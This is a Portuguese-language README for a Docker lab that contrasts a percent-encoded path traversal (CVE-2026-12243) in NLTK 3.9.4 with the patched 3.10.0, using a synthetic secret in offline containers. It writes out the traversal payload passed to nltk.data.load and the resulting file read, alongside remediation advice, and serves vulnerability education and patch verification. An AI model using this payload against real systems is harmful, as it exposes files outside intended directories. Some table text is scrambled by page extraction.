
Laboratório Docker demonstrando o path traversal CVE-2026-12243 no NLTK anterior à versão 3.10.0, contrastando o comportamento vulnerável e o corrigido com um segredo sintético em um ambiente isolado e offline.
Um laboratório Docker pequeno e reproduzível que contrasta o comportamento de path traversal com codificação percentual no NLTK 3.9.4 com o comportamento corrigido no NLTK 3.10.0.
A versão vulnerável valida o nome do recurso antes da decodificação da URL. O
payload fixo %2e%2e/%2e%2e/outside/lab-secret.txt passa na verificação, é
posteriormente decodificado para ../../outside/lab-secret.txt e escapa tanto
do diretório de dados do NLTK configurado quanto do diretório de trabalho do
processo. A versão corrigida rejeita a mesma entrada.
[!CAUTION] Este repositório destina-se apenas à educação defensiva e a testes autorizados. O laboratório usa um segredo sintético fixo dentro de um contêiner isolado. Não o adapte para acessar sistemas ou dados que você não possua ou para os quais não tenha permissão explícita de teste.
| Contêiner | Versão do NLTK | Resultado esperado |
|---|---|---|
vulnerable | 3.9.4 | Lê o marcador sintético fora de /lab/nltk_data |
patched |
Nenhum download de corpus, servidor, porta, bind mount ou conexão de internet em tempo de execução é utilizado.
docker compose)run.shgit clone https://github.com/morzelowski/CVE-2026-12243-NLTK-PoC.git
cd CVE-2026-12243-NLTK-PoC
docker compose build
./run.sh
Resultado esperado:
=== Vulnerable image: NLTK 3.9.4 ===
NLTK version : 3.9.4
Working directory : /app
Configured data dir: /lab/nltk_data
Encoded resource : %2e%2e/%2e%2e/outside/lab-secret.txt
Decoded resource : ../../outside/lab-secret.txt
Resolved candidate : /outside/lab-secret.txt
NLTK warning : Security Violation [pathsec.open]: Unauthorized path /outside/lab-secret.txt
NLTK result : read 36 bytes
Synthetic marker : CVE-2026-12243-SYNTHETIC-LAB-MARKER
[PASS] Traversal escaped the configured NLTK data directory.
=== Patched image: NLTK 3.10.0 ===
NLTK version : 3.10.0
NLTK result : blocked (ValueError: Unsafe resource path: '...')
[PASS] Patched version rejected the same encoded traversal.
Lab completed: traversal reproduced and patched rejection verified.
A imagem afetada informa que /outside/lab-secret.txt não é autorizado, mas
ainda retorna seu conteúdo porque o NLTK 3.9.4 usa segurança de caminho apenas
com avisos por padrão. O texto de exceções e avisos pode variar ligeiramente;
run.sh usa o status de saída do processo, não uma correspondência frágil de
texto, para decidir se a demonstração passou.
Cada imagem contém este layout deliberadamente separado:
/
├── app/
│ └── poc.py # process CWD is /app
├── lab/
│ └── nltk_data/ # configured NLTK search root
└── outside/
└── lab-secret.txt # public synthetic marker
poc.py substitui nltk.data.path por /lab/nltk_data e passa o nome de
recurso fixo %2e%2e/%2e%2e/outside/lab-secret.txt para
nltk.data.load(..., format="raw"). Na versão afetada, a decodificação ocorre
tarde demais no fluxo de validação:
/lab/nltk_data
↓ ../../outside/lab-secret.txt
/outside/lab-secret.txt
Como o diretório de trabalho é /app, o canário está fora de ambos os locais
que importam para a demonstração: /app e /lab/nltk_data.
O script tem duas asserções explícitas:
Qualquer outro resultado sai com código não zero, portanto verificações automatizadas não podem relatar um falso sucesso.
A configuração do Compose limita intencionalmente o laboratório:
network_mode: none desativa a rede enquanto qualquer demonstração é executada.no-new-privileges habilitado.noexec é gravável.fixtures/lab-secret.txt, um marcador de teste
público copiado para a imagem durante o build.O build da imagem precisa de acesso ao índice de pacotes para instalar as duas versões fixadas do NLTK. A execução em tempo de execução é offline.
nltk.data.load() ou
nltk.data.find()O laboratório fixa a versão 3.9.4 porque é a versão concreta mencionada no relatório original e a 3.10.0 porque é a primeira versão corrigida registrada pelo aviso do mantenedor.
Atualize o NLTK e mantenha-o atualizado:
python -m pip install "nltk>=3.10.0"
Evite também passar nomes de recursos não confiáveis para APIs de carregamento de arquivos. Quando a seleção pelo usuário for necessária, mapeie identificadores voltados ao usuário para uma lista de permissões de recursos de propriedade da aplicação, em vez de aceitar caminhos ou URLs diretamente.
Execute cada lado de forma independente:
docker compose run --rm vulnerable
docker compose run --rm patched
Inspecione a configuração do Compose totalmente resolvida:
docker compose config
Remova as imagens do laboratório construídas localmente:
docker compose down --rmi local
permission denied: ./run.sh — execute chmod +x run.sh uma vez.docker: command not found — instale o Docker Desktop ou o Docker Engine.docker compose build --no-cache.aec4fcePublicado sob a Licença MIT.
3.10.0| Bloqueia o traversal codificado |